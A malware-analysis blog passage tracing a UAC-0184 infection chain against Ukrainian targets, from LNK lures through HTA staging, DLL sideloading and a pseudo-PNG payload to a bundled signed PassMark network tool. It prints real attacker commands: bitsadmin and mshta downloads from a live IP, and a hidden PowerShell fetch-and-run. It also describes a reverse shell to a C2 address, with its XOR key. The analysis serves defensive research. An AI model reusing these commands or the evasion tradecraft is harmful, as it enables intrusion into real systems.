2. socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
3. connect(109.237.97.4:8443)
4. send encrypted "Connected! "
5. receive encrypted command length
6. receive encrypted command
7. decrypt command
8. execute via cmd /C %s
9. capture output through pipes
10. encrypt output
11. send output back to C2

The protocol encryption is simple XOR:

XOR key length: 9 bytes
XOR key: 01 01 02 03 74 15 04 ff ee

This applies to the C2 messages, not to the outer .data blob. The outer blob uses 0x66

IIM Chain & Pattern

Besides the classic malware analysis, I also modeled the flow as an IIM chain.

IIM stands for Infrastructure Intelligence Model and is a part of the ecosystem i am building with Malwarebox.
It is my attempt to describe campaigns not only as isolated IOCs, but as connected infrastructure chains.

This case shows quite well why that matters.
The attack is not just updater.exe or one C2 IP. Before we ever get to the reverse shell, we have the lure, ZIP archive, LNK file, mshta, HTA / JavaScript staging, updater.txt, persistence through OneDriveUpdater, injection into RuntimeBroker.exe and finally the reverse shell connection to 109.237.97.4:8443.

The IIM chain models this flow through roles such as Entry, Staging, Payload and C2.
This makes it easier to see how the infrastructure works together and which parts are replaceable.

That is often more useful for tracking than a single hash.
Hashes rotate quickly.
Infrastructure patterns tend to survive longer.

The full chain is available here:

IIM Chain: UAC-0247 UkrVarta FPV Lure to RuntimeBroker Injection and Reverse Shell

Attribution

The malware is part of the UAC-0247/UAC-0244 campaign described by CERT-UA

UAC-0184: From HTA to a Signed Network Stack

by Robin Dost


EDIT: The next article in my UAC series is out: https://blog.synapticsystems.de/uac-0247-malware-targeting-fpv-operators/

Actor: UAC-0184 / MB-0007 (Malwarebox ID
IIM Chain: https://feed.iim.malwarebox.eu/chain/uac-0184-pseudo-png-passmark-2026-05

In the last articles, I spent quite some time looking at actors that primarily target Ukraine.

Gamaredon and APT28 are the obvious names people know. But there are other clusters that are less well documented and still use overlapping tradecraft: Ukraine-themed lures, messenger-based social engineering, staged loaders, LOLBins, signed binaries, archive delivery and all the other small joys that make malware analysis such a relaxing hobby.
This article is a bit older because I’m currently busy working on Malwarebox and other articles.
It’s also part of my “UAC” series, in which I discuss threat actors linked to Ukraine.
Around the middle or end of the series, I have a little something in store for everyone involved, so stick around :3

This one gets a bit more technical and longer than usual. So yes, you have been warned. 🙂

I looked at the following sample:

On MalwareBazaar, the sample is tagged with UKR, which is already a useful signal to keep in mind. It does not prove targeting by itself, but in this case the surrounding tradecraft and the public CERT-UA reporting make the Ukraine connection much more than just a tag someone slapped onto a hash.

CERT-UA has publicly described increased UAC-0184 activity during 2024, focused on gaining access to computers used by representatives of the Ukrainian Defense Forces in order to steal documents and messenger data. Their reporting also highlights the use of messengers and dating platforms as delivery channels, with social engineering lures built around criminal proceedings, combat videos or personal contact requests. Very normal internet behavior, obviously.

The tooling overlap also fits the wider UAC-0184 ecosystem described by CERT-UA: staged malware delivery, commercial and open-source tooling and repeated use of social engineering against Ukrainian military-related targets.

Now to the actual sample.

7z l 81d93004a02a455af01b0f709e34d5134108ec350f9391dc0f91a00a54998590.zip

For context: in Ukrainian, Рапорт means report. In Ukrainian and Russian, Таблиця means table.

Now that we’ve unpacked everything, let’s take a look at the LNK files using lnkparse

Click for full details
Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:23+00:00
   Accessed time: 2026-03-26 15:53:23+00:00
   Modified time: 2026-03-26 15:53:23+00:00
   File size: 0
   Icon index: 85
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 17650

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: РDF Dоcument
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/slippersuppity.hta
         %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta && mshta.exe %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta
      Icon location: imageres.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 16859
         Appended data sha256: d735004496f54a943647a50f42ecdd094cd3d0f58a4ee5d2e36d10c5493337b7

Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:22+00:00
   Accessed time: 2026-03-26 15:53:22+00:00
   Modified time: 2026-03-26 15:53:22+00:00
   File size: 0
   Icon index: 97
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 9950

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: MS Wоrd Documеnt
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/basketpast.hta %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
         && mshta.exe %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
      Icon location: imageres.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 9143
         Appended data sha256: 651b07f731b23e8608eecf87e45194f903c2ccb3fd8b55ea8a6e0ca984ff8518

Windows Shortcut Information:
   Guid: 00021401-0000-0000-C000-000000000046
   Link flags: HasTargetIDList | HasName | HasWorkingDir | HasArguments | HasIconLocation | IsUnicode | ForceNoLinkInfo - (501)
   File flags: (0)
   Creation time: 2026-03-26 15:53:23+00:00
   Accessed time: 2026-03-26 15:53:23+00:00
   Modified time: 2026-03-26 15:53:23+00:00
   File size: 0
   Icon index: 250
   Windowstyle: SW_SHOWMINNOACTIVE
   Hotkey: UNSET - UNSET {0x0000}

   SIZE: 24439

   TARGET:
      Items:
      -  Root Folder:
            Sort index: My Computer
            Sort index value: 80
            Guid: 20D04FE0-3AEA-1069-A2D8-08002B30309D
      -  Volume Item:
            Flags: '0xf'
            Volume name: C:\
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: Windows
      -  File entry:
            Flags: Is directory
            File size: 0
            File attribute flags: 16
            Primary name: System32
      -  File entry:
            Flags: Is file
            File size: 0
            File attribute flags: 16
            Primary name: cmd.exe

   LINK INFO: {}

   DATA:
      Description: MS Еxcel Worksheеt
      Working directory: '%LOCALAPPDATA%'
      Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/agentdiesel.hta %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
         && mshta.exe %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
      Icon location: SHELL32.dll

   EXTRA:
      TERMINAL BLOCK:
         Size: 23636
         Appended data sha256: 30a5f342c3f9bff21d18b874d51c289a5414837731118e6765dad225c55d5996
Data Summary:

Scan_088.pdf.lnk

Description: РDF Dоcument
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/slippersuppity.hta
         %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta && mshta.exe %TEMP%\~tmp('TuRIxPyZpqoctuuvttu',).hta

Рапорт.lnk

Description: MS Wоrd Documеnt
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/basketpast.hta %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta
         && mshta.exe %TEMP%\~tmp('MUDCoGJpbAbfKdlaKZeVfka',).hta

Таблиця.xlsx.lnk

Description: MS Еxcel Worksheеt
Working directory: '%LOCALAPPDATA%'
Command line arguments: /c bitsadmin /transfer myjob /download /priority foreground http://169.40.135.35/dctrpr/agentdiesel.hta %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta
         && mshta.exe %TEMP%\~tmp('MGMXGEDCNDKaYKStLesnn',).hta

So the lure language is not exactly random. It is already pointing us into the same general target space as the CERT-UA reporting around UAC-0184.

When trying to download the referenced files directly, I got the following error:


To me, this looked like gated delivery. Most likely geofencing, client filtering or both. So I used Kraken with bitsadmin-style emulation and a proxy path to test the delivery behavior.
Btw: What a coincidence that this happened around the same time as Gamaredon’s switch to using Bitsadmin 😉

After a few tests, I was able to retrieve the malicious payload:

<HTML>
<HEAD>
<HTA:APPLICATION ID="App" WINDOWSTATE="minimize" />
</HEAD>
<BODY>
<script language="JScript">
        var o = new ActiveXObject('Wscript.Shell');
        o.Run('powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { $TempDir = $env:APPDATA; $ZipFile = \\\"$TempDir\\\\dctrprraclus.zip\\\"; $ExtractPath = \\\"$TempDir\\\\ApplicationData32\\\"; if (-not (Test-Path $ZipFile)) { Invoke-WebRequest -Uri \\\"169.40.135.35/dctrprraclus.zip\\\" -OutFile $ZipFile }; if ((-not (Test-Path \\\"$ExtractPath\\\\Cluster-Overlay64.exe\\\")) -and (-not (Test-Path \\\"$ExtractPath\\\\Scan_001.pdf\\\"))) { Expand-Archive -Path $ZipFile -DestinationPath $ExtractPath -Force }; Start-Process \\\"$ExtractPath\\\\Cluster-Overlay64.exe\\\"; Start-Process \\\"$ExtractPath\\\\Scan_001.pdf\\\" }"', 0, false);
        window.close();
</script>
</BODY>
</HTML>

At that point we had another file to load. But before jumping into it, I want to show how Kraken can help automate this kind of workflow in the future.

Tracking the delivery with Kraken

The requirement for this case is simple:

  • bitsadmin emulation plus geofencing or proxy handling
  • web request download plus geofencing or proxy handling
  • extraction of follow-up URLs from returned payloads
  • repeat without manually babysitting every single stage like it is a fragile houseplant

I created an operation for this purpose.



Then I added a URL threat entity with the type payload_download.

Then we also need import profiles, one for the URLs and one for the malware downloads

After that, I created a tracking definition for the operation.

The important part here is the regex used to extract further URLs from results.

Once saved, tracking is active. From there, we only need to wait for results or add new URLs when they appear during analysis.

Payload archive


The results contained multiple HTA files, but they all pointed to the same ZIP archive: dctrprraclus.zip

So that is the next thing to look at.

Inside the archive, there are multiple files. Of course we do not want to manually reverse every single file in the directory because that would be madness and I try to keep my hobbies at least somewhat healthy.

So I narrowed it down and scanned the files first.

Since Cluster-Overlay64.exe is the entry point, that is where I started.

Plane9Engine.exe or Cluster-Overlay64.exe belongs to Plane9, a 3D music visualizer for Windows. It is normally used to analyze audio signals in real time and generate visual effects, for example during music playback or as a screensaver.

Technically, the Plane9 engine contains the rendering logic. It processes audio input, for example via FFT analysis and generates dynamic 3D scenes using DirectX or OpenGL.

So the presence of Cluster-Overlay64.exe alone is not suspicious. It appears to match a legitimate Plane9 application.

The suspicious part is the packaging around it.

There are additional files such as .bin and .lib artifacts. In a legitimate software package, this exact combination and placement is not exactly what you expect. Especially an isolated high-entropy .bin file is often a good hint that we are looking at an encrypted or packed payload.

In combination with executable files and several DLLs, this strongly suggests a DLL sideloading scenario. A legitimate application or loader is used to load manipulated or additional components from the local directory. The actual malicious function is not in the visible main executable but in libraries or external data blobs that are loaded later.

Two files immediately stood out:

  • filter.bin
  • kernel-diag.lib

Not only because of the extensions, but also because the files could not be identified cleanly.

Looking at entropy and headers confirmed the suspicion.

BASS.dll also has high entropy, but on first look it appears harmless. I kept it in mind anyway because malware analysis rewards paranoia more often than optimism.

The more interesting files are filter.bin and kernel-diag.lib.

Now that we know Cluster-Overlay64.exe is likely legitimate and probably causes filter.bin or kernel-diag.lib to be loaded indirectly, the next question is simple: how exactly are those files loaded?

Reconstructing the sideload chain

I started by looking at strings across all DLLs and searching for the filenames.

kernel-diag.lib appears only in openvr_api.dll, so we can assume that kernel-diag.lib is loaded by openvr_api.dll.

Then I continued.

This gives us the next part: openvr_api.dll is likely loaded by Plane9Engine.dll and Plane9Engine.dll is loaded by the entry point Cluster-Overlay64.exe.

From that, the sideload process can already be reconstructed:

ClusterOverlay64.exe -> Plane9Engine.dll -> openvr_api.dll -> kernel-diag.lib -> ??filter.bin??

At this point, it is worth opening Ghidra and looking at the relevant call sites.

Plane9Engine.dll loads openvr_api.dll. Nothing particularly unusual so far.

The payload loader inside openvr_api.dll does not contain a full payload. Instead, it contains a data block with obfuscated strings and parameters.
These include filenames such as kernel-diag.lib and filter.bin, although filter.bin is hidden more nicely, as well as API names.
The loader manually parses the kernel32 export table to resolve the required Windows functions dynamically. Then it determines its own path and uses the strings stored in the embedded data block to load files from disk.
Concretely, it loads kernel-diag.lib, reads its full content into memory and performs a simple decoding step: DWORD-wise addition using a key contained in the file.

The decoded blob contains another internal structure with additional information and payload data, including embedded code for evr.dll. That blob is copied into memory, prepared, memory protections are adjusted and then execution continues into the next stage.

For decoding and payload extraction, I wrote two small scripts.

Decoding Script (Click to view)
import struct

with open("kernel-diag.lib", "rb") as f:
    data = f.read()

offset = 0x24d1

size = struct.unpack("<I", data[offset:offset+4])[0]
key  = struct.unpack("<I", data[offset+4:offset+8])[0]

print(f"offset: {hex(offset)}")
print(f"size: {size}")
print(f"key: {hex(key)}")

decoded = bytearray(data)

for i in range(offset+8, min(len(decoded), offset+8+size), 4):
    if i + 4 > len(decoded):
        break

    val = struct.unpack("<I", decoded[i:i+4])[0]
    val = (val + key) & 0xffffffff
    decoded[i:i+4] = struct.pack("<I", val)

with open("decoded.bin", "wb") as f:
    f.write(decoded[offset:])

The output already looks promising. Right at the beginning we can see evr.dll.

evr.dll, the Enhanced Video Renderer, is a Microsoft Windows component used for video rendering and multimedia applications such as Windows Media Player.

So we import the extracted file into Ghidra.

The entry point is at 0xED0.

That looks beautiful :3

The substring trick


The first-stage loader stores a pointer (local_8[5]) into the middle of a larger embedded RTTI-like string.
Rather than referencing the full .?AV?$numpunctfilter.bin symbol, the pointer starts exactly at the f of filter.bin. The loader then converts this substring into a wide-character string and passes it to the next stage, which uses it to construct the on-disk path and read the secondary payload.

means

local_8 = (DWORD *)0x1003e3d0;

then

local_8[5] in C:

local_8[5]

so

Adresse = 0x1003e3d0 + (5 * 4)
        = 0x1003e3d0 + 0x14
        = 0x1003e3e4

Retrieve a value from memory:

62 eb 03 10 in little endian => 0x1003eb62

Let’s move on to the address:

The string starts at 0x1003eb54, but our pointer is 0x1003eb62. That is exactly where the substring filter.bin starts.

1003eb54  .
1003eb55  ?
1003eb56  A
1003eb57  V
1003eb58  ?
1003eb59  $
1003eb5a  n
1003eb5b  u
1003eb5c  m
1003eb5d  p
1003eb5e  u
1003eb5f  n
1003eb60  c
1003eb61  t
1003eb62  f
1003eb63  i
1003eb64  l
1003eb65  t
1003eb66  e
1003eb67  r
1003eb68  .
1003eb69  b
1003eb6a  i
1003eb6b  n

This technique avoids explicit string manipulation entirely and reduces the need for recognizable operations such as strstr, memcpy with offsets or substring extraction, making static analysis slightly more deceptive.

The same trick appears for kernel-diag.lib.
To find the relevant local_8 candidate for loading kernel-diag.lib, we use the same logic:

local_8[?] = 0x1003eaf1

because

local_8 = (DWORD *)0x1003e3d0;

1003e3d0       local_8[0]
1003e3d4       local_8[1]
1003e3d8       local_8[2]
1003e3dc       local_8[3]
1003e3e0       local_8[4]
1003e3e4       local_8[5]
1003e3e8       local_8[6]
1003e3ec       local_8[7] <<<< our candidate

Adresse: 0x1003e3ec
Base:    0x1003e3d0

Offset = 0x1c
Index  = 0x1c / 4 = 7

local_8[7] = 0x1003eaf1 → "kernel-diag.lib"

Jump to 0x1003e3ec and confirm f1 ea 03 10 => 0x1003eaf1

Our candidate used in the loader:

So at this point it is clear that evr.dll loads both kernel-diag.lib and filter.bin through this substring trick.

What we still do not know is what happens to filter.bin. And that is where the interesting part starts.

We already know that kernel-diag.lib is decoded via DWORD addition using a key stored inside the file. But filter.bin behaves differently. It has no size or key header at the beginning and the hex dump shows the same random-letter camouflage that appears at the start of kernel-diag.lib.

So what is it?

What the shellcode actually does

Before looking at filter.bin directly, it is worth taking another look at the decoded shellcode. The strings near the end of the decoded blob are surprisingly talkative.

0x170dx89PNG
0x1721http
0x172dRtl…
0x1735User..
0x1755GET
0x178dIDAT
0x17adNAME
0x17c5IEND
0x17d5.dll
0x17f6EF{DATA=

\x89PNG, IDAT and IEND are PNG chunk markers.

So the shellcode is not just a generic decoder. It is a PNG chunk parser.

The Rtl... and USER... strings are API-name fragments that are later resolved through a PEB walk. Rtl... strongly points toward RtlDecompressBuffer and yes, that becomes relevant later.

The strings http, GET and the interesting template EF{DATA= point to a separate HTTP code path.

We park that for a moment. It comes back near the end.

When going through the entry function at 0xED0, three core functions matter:

0x1Diteriert PNG chunks (length-DWORD big-endian, type-DWORD, data, CRC)
0x15ADBig-endian DWORD reader für die PNG length-felder
0x161DEine memmem-style suche, findet chunks per type-name
0x26DDWORD-weise XOR decryptor, key kommt aus chunk-metadata
0x72DAPI resolver — PEB walk + name-hash compare
0x8DDkleiner memcpy
0xED0Entry — orchestriert das ganze gegen filter.bin

That gives us the shape of stage 3 without executing anything:

The shellcode opens filter.bin, finds all IDAT chunks, appends their data and XOR-decodes the resulting blob with a key derived from chunk metadata or surrounding structure. What falls out is the next stage.

filter.bin is a PNG that is not a PNG

filter.bin is 1,377,370 bytes large or 0x15045A.

If you open the file directly in a hex editor, you do not see the normal PNG magic \x89PNG\r\n. The first roughly 16 KB are just the same random-letter filler pattern seen earlier.

The first real chunk header, IDAT, is located at file offset 0x4052.

From there, the file contains a clean chunk sequence:

  • 166 xIDAT chunks, each 8192 bytes, with the last one being 7224 bytes
  • 1 xIEND chunk

The interesting part is that the author bothered to produce real PNG chunks.

A PNG-aware scanner does not simply see an encrypted blob. It sees a slightly broken but structurally plausible PNG-like object. Great. Even the file format is lying now.

When concatenating all IDAT data, we get a clean 1,358,904 byte payload blob.

Now we need to decrypt it.

Finding the XOR key

From the disassembly, the decoder function at 0x26D performs DWORD-wise XOR. So no RC4, no AES, no fancy stream cipher.

Just a constant 32-bit key.

The annoying part is finding that key.

What I tried first, unsuccessfully:

  • XOR with the CRC of a chunk: nonsense
  • derive the key from the chunk header, for example the IDAT type DWORD as seed: almost PE-looking output, but no clean MZ at a sane offset
  • per-chunk keys: same problem
  • use the first chunk bytes as key material against the rest: first few KB look English-ish, then noise

At some point the obvious thing clicked.

If the plaintext contains enough zeroes and a PE file usually contains plenty of zero-padding between sections, alignment bytes and header gaps, then the key itself should become the most frequent DWORD value in the ciphertext distribution.

Because:

0x00000000 XOR key = key

Frequency analysis across all 32-bit values in the concatenated IDAT stream gave two clear peaks:

0x227E9BDE~7400×
0x22719BD1~6300×

The delta between them is 0x000F0007, suspiciously close to a repeated low-pattern structure. That was enough evidence to commit to 0x227E9BDE as the key.

DWORD-wise XOR with 0x227E9BDE over the full IDAT data gives an output whose tail looks like this:

... de 9b 7e 22 de 9b 7e 22 de 9b 7e 22 de 9b 7e 22

That is the fingerprint of a stream that originally ended with zero-padding. Every null DWORD XORs back into the key bytes.

Key confirmed. Nice 🙂

Stage 4: LZNT1 and 16 bytes that wasted a few minutes

After XOR, the buffer is 1,358,904 bytes large.

The first 16 bytes are:

0000  18 3e 07 c8 00 00 00 00 c8 2c 6a 22 ca 2e 60 22

After that, the buffer almost looks like a PE. There are MZ-like sequences and many printable bytes. But it still does not decode cleanly.

There is one more layer.

When dumping the data in 9-byte rows, the structure becomes visible: one flag byte followed by 8 items. Each bit in the flag byte decides whether the corresponding item is a literal byte or a 16-bit back-reference.

That is LZNT1, the Microsoft NT-LZ77 compression format used by RtlCompressBuffer and RtlDecompressBuffer with COMPRESSION_FORMAT_LZNT1.

Bonus confirmation: the decoded shellcode already contained the string fragment Rtl... in its API resolver table. The shellcode resolves RtlDecompressBuffer at runtime.

So yes, we could have emulated the shellcode with Unicorn instead of implementing LZNT1 ourselves. But where would be the fun in that.

LZNT1 is specified in MS-XCA section 2.5. The format is chunk-based:

  • 16-bit chunk header: (size - 1) | flags
  • bit 15 indicates compressed
  • bits 12 to 14 contain the signature
  • bits 0 to 11 contain size - 1
  • compressed chunks contain sequences of one flag byte plus 8 items
  • each flag bit selects literal versus back-reference
  • the offset and length bit split of a back-reference changes depending on the position in the chunk

I used a small Python implementation over the XOR output starting at byte 16.

Click to view Code
def lznt1_decompress(src):
    out = bytearray(); pos = 0
    while pos + 2 <= len(src):
        hdr = int.from_bytes(src[pos:pos+2], 'little'); pos += 2
        if hdr == 0: break
        size = (hdr & 0x0FFF) + 1
        compressed = (hdr & 0x8000) != 0
        chunk_end = min(pos + size, len(src))
        if not compressed:
            out.extend(src[pos:chunk_end]); pos = chunk_end; continue
        chunk_start = len(out)
        while pos < chunk_end:
            flags = src[pos]; pos += 1
            for bit in range(8):
                if pos >= chunk_end: break
                if (flags >> bit) & 1 == 0:
                    out.append(src[pos]); pos += 1
                else:
                    if pos + 2 > chunk_end: break
                    word = int.from_bytes(src[pos:pos+2], 'little'); pos += 2
                    rel = len(out) - chunk_start
                    obits = 4; x = rel - 1
                    while x >= 0x10: obits += 1; x >>= 1
                    obits = max(4, obits)
                    lbits = 16 - obits
                    length = (word & ((1 << lbits) - 1)) + 3
                    offset = (word >> lbits) + 1
                    s = len(out) - offset
                    for _ in range(length):
                        out.append(out[s]); s += 1
        pos = chunk_end
    return bytes(out)

Output: 2017635 bytes.

The first MZ appears at offset 0x4F0.
Before that are 1264 bytes of structured loader configuration.
So we have the final payload unpacked.
The meaning of the 16 bytes before the LZNT1 stream remains open:

18 3e 07 c8 00 00 00 00 c8 2c 6a 22 ca 2e 60 22

It looks like an original-size DWORD plus 12 bytes of metadata, maybe CRC and flags.
The unpacking works without interpreting it, so I am leaving that open for now.

What is inside the 2 MB payload?

The first 0x4F0 bytes are loader configuration.

They contain mixed UTF-16LE and ASCII strings:

0x011  ' CC_amd64'           (UTF-16LE)   — architecture tag
0x045  '%APPDATA%'            (UTF-16LE)   — drop path variable
0x0F4  '%windir%\SysWOW64\input.dll'      — final on-disk path
0x163  'VSLauncher.exe'                   — sideload host (×2)

VSLauncher.exe is the Microsoft Visual Studio Version Selector.

It is Microsoft-signed and a known DLL hijack target because of loose import resolution and the trusted publisher chain. The deployment plan is therefore straightforward:

  1. Drop input.dll next to a copy of VSLauncher.exe under %windir%\SysWOW64\.
  2. Start VSLauncher.exe.
  3. Let it side-load input.dll.
  4. Run the DLL inside a Microsoft-signed process tree.
  5. Enjoy the optics. Apparently that is what we do now.

After the config, there are 8 PE files back-to-back.

#OffsetArchSizeWas es ist
10x004F0i386 EXE433 KBPassMark Endpoint (signed Sectigo)
20x0809D2i386 EXE287 KBInfo-ZIP unzip.exe
30x0CBEAAx64 EXE6.5 KBsmall helper
40x11E1AEi386 EXE3 KBstub
50x11EDAEx64 EXE113 KBx64 console tool
60x13A7AEi386 DLL2.5 KBsmall DLL
70x13B1AEx64 DLL3 KBsmall DLL
80x13BE9Ai386 EXE102 KBMicrosoft SqlExpressChk.exe

I carved them by parsing PE headers and walking the section table to calculate disk size.

The remaining data after the last PE contains stacked Authenticode signature chains, including Sectigo Public Code Signing Root R46 and Microsoft Time-Stamp PCA. These PKCS#7 blobs are likely parsed at runtime so the dropped files can satisfy local Authenticode verification.

The two most interesting hashes are:

input.dll (PassMark Endpoint)   b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 (SqlExpressChk)           33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

I checked all eight PEs. Each one is a legitimately signed, publicly available, normally benign Windows utility.

None of them contains a hardcoded C2.

Why bundle a network testing tool?

At first glance, PassMark Endpoint as malware payload makes no sense.

PassMark Endpoint is the network component of PassMark BurnInTest.

Three properties matter:

  • it listens on UDP 224.0.0.255:31339 for multicast peer discovery
  • the discovery packet contains MSG_EPFIND in cleartext
  • it speaks the BurnInTest TCP protocol on port 31339 for peer-to-peer data transfer
  • it imports the full Winsock 2 stack: socket, bind, connect, send, recv, select
  • it imports IPHLPAPI, including GetAdaptersAddresses and if_nametoindex
  • it imports PDH performance counters
  • and yes, it imports dbghelp!MiniDumpWriteDump

The last one is the giveaway.

MiniDumpWriteDump in a network test utility is already interesting. In this context it becomes very interesting.

With input.dll running inside a VSLauncher.exe process, the operator gets:

  • LAN multicast discovery on an unprivileged port
  • a bidirectional TCP channel on a port whose traffic plausibly looks like PassMark BurnInTest
  • process-memory dump capability via a Microsoft DLL the operator did not even need to ship
  • a very clean cover identity: Microsoft-signed host process, Sectigo-signed PassMark DLL, network traffic that looks like diagnostics

This is similar in spirit to the misuse of vmtoolsd.exe or OneDriveSetup.exe for proxy execution, but one layer higher.

Instead of borrowing only a signed loader, the actor borrows a complete signed network stack.

That is the part I actually find clever.

Annoying, but clever.

The C2 question

The C2 question

I will say it directly: I did not find a hardcoded C2 endpoint.

After going through the artifacts, I am fairly confident there is no static C2 baked into the files I analyzed.

What I checked:

  • all 8 bundled PEs
  • every IPv4-like and URL-like string
  • openvr_api.dll
  • the decoded shellcode string table around 0x16DD to 0x1810
  • certificate-related URLs
  • PE resources and side-loaded artifacts

Everything URL-like in the bundled PEs is either:

  • 224.0.0.255, used by PassMark multicast discovery
  • 0.0.0.0
  • certificate-distribution infrastructure from Sectigo, Comodo or UserTrust

openvr_api.dll contains mostly Comodo, UserTrust and Sectigo strings, plus a neat piece of steganography. The strings kernel-diag.lib at file offset 0x3CEF1 and filter.bin at 0x3CF62 are placed between legitimate-looking C++ RTTI typeinfo entries in .rdata.

That is the same trick direction as the .?AV?$numpunctfilter.bin substring behavior from earlier.

No direct DWORD cross-references from .text point to them.

The shellcode string table contains fragments like:

%APP
windir
.dll
fmsvc
ikep
http
http2
GET
RtlH
USER
%y...EF{DATA=

but no host.

The form of the strings is the hint.

%y is not a standard printf specifier. It looks like a custom placeholder used by the malware author for runtime substitution.
Together with the HTTP-related fragments, the most reasonable interpretation is that the URL is assembled at runtime from a value that is not present in the static artifacts.

There are three plausible sources for the %y value:

  • A peer answer from LAN multicast discovery.
    If a controller is already present inside the LAN, MSG_EPFIND against 224.0.0.255:31339 could return the controller address.
    The operator would not need to bake the address into the dropper at all.
  • A command-line argument or environment variable set by the operator at deployment time.
    This fits hands-on-keyboard tradecraft: drop the toolkit, trigger it with a one-off argument pointing to staging.
  • A value read from the parent process or another local file.
    The shellcode has dynamic API resolution and file-handling primitives, so this is realistic.

Infrastructure Intelligence Model: Mapping the UAC-0184 chain

At this point, the sample is not just a malware unpacking exercise anymore.

The interesting part is the structure around it: gated HTA delivery, a shared ZIP payload, a legitimate application used as execution cover, local staged blobs, a pseudo-PNG container and finally a signed network-capable utility stack.

That is exactly the kind of case where IIM is useful.

IOCs tell us what existed at analysis time.
ATT&CK describes the endpoint behavior.
IIM lets us describe how the infrastructure and payload-delivery structure is composed.

For this chain, I model the HTA and ZIP delivery as staging infrastructure, the Plane9 and OpenVR path as local payload composition, the ‘filter.bin’ pseudo-PNG as a staged container and the PassMark / VSLauncher part as a payload-side network surface.

One important boundary: I am not forcing the PassMark component into an existing IIM technique just because it looks convenient. The observed behavior is signed third-party network-stack reuse, not a classic cloud API or third-party web service C2. Until the catalog has a more exact technique for that, I keep it as an extension candidate.

You can find the chains/patterns on the Malwarebox IIM Feed and if you want to work with them try the IIM Workbench.

Click To View Chain (JSON)
{
  "iim_version": "1.1",
  "chain_id": "uac-0184-pseudo-png-passmark-2026-05",
  "title": "UAC-0184 gated HTA delivery to pseudo-PNG staged payload and PassMark network stack",
  "description": "Observed UAC-0184 chain from gated HTA and ZIP delivery into Plane9-based sideloading, encoded local blobs, pseudo-PNG IDAT staging, LZNT1 unpacking and a signed VSLauncher / PassMark network-capable payload bundle. The internal controller or C2 element remains tentative because no static C2 endpoint was present in the analyzed artifacts.",
  "actor_id": "UAC-0184",
  "confidence": "likely",
  "needs_review": true,
  "x_note": "PassMark network-stack reuse is intentionally not forced into an existing IIM technique. It is modeled as an extension candidate because the observed behavior is closer to signed third-party network protocol reuse than to classic third-party application C2.",
  "entities": [
    {
      "id": "e_lure_lnk",
      "type": "file",
      "value": "Ukraine-themed LNK lure",
      "evidence": [
        "Initial chain uses bitsadmin /transfer and mshta.exe"
      ]
    },
    {
      "id": "e_hta_set",
      "type": "url",
      "value": "hxxp://169.40.135.35/dctrpr/*.hta",
      "evidence": [
        "slippersuppity.hta",
        "basketpast.hta",
        "agentdiesel.hta"
      ]
    },
    {
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "169.40.135.35",
      "x_delivery_path": "/dctrpr/"
    },
    {
      "id": "e_zip",
      "type": "file",
      "value": "dctrprraclus.zip",
      "evidence": [
        "All observed HTA files pointed to the same ZIP archive"
      ]
    },
    {
      "id": "e_cluster",
      "type": "file",
      "value": "Cluster-Overlay64.exe",
      "x_path": "%APPDATA%\\ApplicationData32\\Cluster-Overlay64.exe",
      "x_legitimate_software": "Plane9"
    },
    {
      "id": "e_plane9",
      "type": "file",
